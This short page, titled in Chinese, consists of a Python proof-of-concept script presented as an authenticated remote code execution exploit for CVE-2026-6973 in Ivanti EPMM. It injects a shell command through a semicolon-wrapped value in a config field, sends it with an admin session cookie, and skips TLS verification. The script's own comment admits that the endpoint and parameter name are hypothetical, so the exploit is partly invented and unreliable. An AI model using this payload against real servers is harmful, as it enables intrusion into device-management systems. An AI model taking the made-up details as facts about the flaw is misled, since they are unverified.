CVE-2026-6973 Ivanti EPMM 远程代码执行漏洞

import requests # Exploit Title: CVE-2026-6973 Ivanti EPMM RCE PoC # Description: PoC for authenticated Remote Code Execution via improper input validation. def exploit(target_url, admin_cookie, cmd): headers = { "Cookie": admin_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload leveraging the input validation flaw # Note: The actual vulnerable endpoint and parameter name are hypothetical based on the description payload = { "username": "admin", "action": "update_config", "config_data": f"; {cmd}; #" } try: response = requests.post(f"{target_url}/mics/admin/action", headers=headers, data=payload, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Command executed successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "https://<target-ip>" # Replace with actual target session = "JSESSIONID=xxxxxxxx" # Replace with authenticated admin cookie command = "whoami" # Command to execute exploit(target, session, command)